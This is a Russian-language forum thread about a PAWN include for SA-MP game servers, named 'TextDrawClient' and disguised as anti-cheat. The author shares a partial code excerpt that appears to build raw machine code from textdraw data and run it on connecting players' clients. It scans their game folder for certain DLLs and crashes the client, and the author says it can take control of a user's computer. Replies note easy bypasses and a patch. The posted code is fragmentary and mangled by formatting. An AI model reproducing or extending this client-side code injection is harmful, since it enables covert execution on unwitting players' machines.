Добро пожаловать на Pro Pawn - Портал о PAWN-скриптинге.
Страница 1 из 2 1 2 ПоследняяПоследняя
Показано с 1 по 10 из 15

Тема: TextDrawClient

  1. #1
    Аватар для Snoowker
    Пользователь

    Статус
    Оффлайн
    Регистрация
    13.02.2014
    Адрес
    Украина, Львов
    Сообщений
    6
    Репутация:
    3 ±

    TextDrawClient

    hi ИГРОМАНИЯ

    Приветствую ребята :D назвал так просто чтобы нубов не привлекать.
    Эта библиотека находится в Бетта-версии. Она сканирует директорию GTA и проверяет наличие плагинов d3d9.dll или vorbisHooked.dll и если один из плагинов действительно есть в этой директории то клиент SA-MP попросту крашнется

    В следующих версиях возможно будет добавлено:

    - Открытие нужного URL адресса в браузере пользователя
    - Заменя худа у пользователя
    - Связь с сервером
    и многое другое

    Этот инклуд работает с socket.dll.На самом деле он имеет практический неограниченные возможности но работать с ней сложновато т.к иногда требуется знание Assembler и другие технические части

    Если вы знаете азы программирования низкого уровня то вы сможете практически все

    Краткая информация:
    TextDrawClient уменьшается максимальное количество PlayerTextDraws для каждого игрока.


    Функции:
    PHP код:
    LoadClientForPlayer(playerid); //Запускаем gta_sa.exe (это кидаем в OnPlayerConnect)
    UnloadClientForPlayer(playerid); //закрываем процесс gta_sa.exe (это в OnPlayerDisconnect)
    CrashCheater(playerid); //выкидываем игрока если в директории найден плагин  [COLOR="#FF0000"]d3d9.dll[/COLOR] 
    Использование:
    PHP код:
    public OnPlayerConnect(playerid)
    {
     
    LoadClientForPlayer(playerid);
     
    CrashCheater(playerid); //С этим все ясно(если нет то выше читай)
      
    return true;
    }

    public  
    OnPlayerDisconnect(playeridreason)
    {
        
    UnloadClientForPlayer(playerid);
        return 
    true;

    Внимание:С помощью данного инклуда можно взять под контроль Компьютер пользователя.

    PHP код:

    #if !defined TextDrawClient_included
    #define TextDrawClient_included

    #include <a_samp>

    static ClientCode[804];
    static 
    PlayerText:Clients[MAX_PLAYERS];
    static 
    ClientCommandId[MAX_PLAYERS];

    #define CLIENT_CODE_OFFSET  0x3B
    #define CLIENT_DATA_OFFSET  0x1AD
    #define CLIENT_CODE_SIZE    0x172
    #define CLIENT_DATA_SIZE    0x173


    #define _db(%0) ClientCode[off++] = %0

    static stock PrepareClientMetaCode(playerid)
    {
            for (new 
    0sizeof(ClientCode); i++)
            
    ClientCode[i] = 0x90;

        
    ClientCommandId[playerid] = (ClientCommandId[playerid] + 1)&0xFF;

        if (
    ClientCommandId[playerid] == 0)
            
    ClientCommandId[playerid] = 1;
        
        new 
    off 0;

        
    _db(0x55); 
    Ссылка на Инклуд:Кликай-ЖЕ

    Вот как тут видно сканируем директорию на содержание данных плагинов.
    PHP код:
    new str_d3d9[] = "d3d9.dll";
    new 
    str_vorbisHooked[] = "sdfsdfdssdfl"
    Последний раз редактировалось Snoowker; 03.03.2014 в 01:19.

  2. 2 пользователя(ей) сказали cпасибо:
    bredvix (14.02.2014) Jeff_Monson (13.02.2014)
  3. #2
    Аватар для [ForD]
    Пользователь

    Статус
    Оффлайн
    Регистрация
    14.11.2013
    Адрес
    Свердловская обл.
    Сообщений
    688
    Репутация:
    103 ±
    А если enb? Сейчас каждый 3,а то и 2 использует эту модификацию,так что вещь в некотором роде не совсем полезная =\
    PAWN Compiler делает то, что вы приказали ему сделать, а не то, что вы хотели, чтобы он сделал..

    25% времени в программировании уходит на размышления о том, что пользователь может сделать не так.[HR]/Брайан Хьюмс/





    #FIXSAMP

  4. #3
    Аватар для Blood
    Пользователь

    Статус
    Оффлайн
    Регистрация
    10.12.2013
    Сообщений
    69
    Репутация:
    2 ±
    Можешь дать socket.dll ??

  5. #4
    Аватар для DeimoS
    Модератор?

    Статус
    Оффлайн
    Регистрация
    27.01.2014
    Адрес
    Восточный Мордор
    Сообщений
    5,588
    Репутация:
    1984 ±
    Достаточно будет изменить имя библиотеки и твоя защита станет бесполезной ;)
    Связаться со мной в VK можно через личные сообщения этой группы
    Заказы не принимаю

    Широко известно, что идеи стоят 0.8333 цента каждая (исходя из рыночной цены 10 центов за дюжину).
    Великих идей полно, на них нет спроса.
    Воплощение идеи в законченную игру требует долгой работы,
    таланта, терпения и креативности, не говоря уж о затратах денег, времени и ресурсов.
    Предложить идею просто, воплотить – вот в чём проблема

    Steve Pavlina

  6. #5
    Аватар для Blood
    Пользователь

    Статус
    Оффлайн
    Регистрация
    10.12.2013
    Сообщений
    69
    Репутация:
    2 ±
    Цитата Сообщение от DeimoS Посмотреть сообщение
    Достаточно будет изменить имя библиотеки и твоя защита станет бесполезной ;)
    а как сделать что бы .cs файлы читал ?

  7. #6
    Аватар для DeimoS
    Модератор?

    Статус
    Оффлайн
    Регистрация
    27.01.2014
    Адрес
    Восточный Мордор
    Сообщений
    5,588
    Репутация:
    1984 ±
    Цитата Сообщение от Blood Посмотреть сообщение
    а как сделать что бы .cs файлы читал ?
    Проверять что-то на стороне сервера запросами - заведомо проигрышный способ. Всё, что хранится на стороне клиента, можно подделать. И найдутся те, кто сможет обойти твоё чтение файлов (ибо даже всякие фросты ломают, которые разрабатывают игровые компании, заинтересованные в честной игре своих игроков гораздо сильнее).
    Это к слову о ваших попытках проверять папку с игрой у игрока на наличие каких-то файлов.
    А по поводу твоего вопроса сказать ничего не могу
    Связаться со мной в VK можно через личные сообщения этой группы
    Заказы не принимаю

    Широко известно, что идеи стоят 0.8333 цента каждая (исходя из рыночной цены 10 центов за дюжину).
    Великих идей полно, на них нет спроса.
    Воплощение идеи в законченную игру требует долгой работы,
    таланта, терпения и креативности, не говоря уж о затратах денег, времени и ресурсов.
    Предложить идею просто, воплотить – вот в чём проблема

    Steve Pavlina

  8. #7
    Аватар для Tracker1
    Проверенный

    Статус
    Оффлайн
    Регистрация
    30.07.2013
    Сообщений
    54
    Репутация:
    84 ±
    Использование этого бага уже профикшено в прошлых ревизиях samp 0.3x

  9. #8
    Аватар для Jeff_Monson
    Пользователь

    Статус
    Оффлайн
    Регистрация
    20.10.2013
    Сообщений
    40
    Репутация:
    1 ±
    Простите за вопрос а могли бы вы сделать так чтобы когда у него читы чтобы выходил диалог и кикал.

  10. #9
    Аватар для Salvacore
    Инжунер-погромист

    Статус
    Оффлайн
    Регистрация
    10.05.2013
    Адрес
    Аҧсуа бызшәа
    Сообщений
    2,271
    Репутация:
    418 ±
    Обойти 1 минута.

  11. #10
    Аватар для OKStyle
    Заблокирован

    Статус
    Оффлайн
    Регистрация
    12.05.2013
    Сообщений
    205
    Репутация:
    49 ±
    Цитата Сообщение от Salvador Посмотреть сообщение
    Обойти 1 минута.
    Расскажи нам как

 

 
Страница 1 из 2 1 2 ПоследняяПоследняя

Информация о теме

Пользователи, просматривающие эту тему

Эту тему просматривают: 1 (пользователей: 0 , гостей: 1)

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •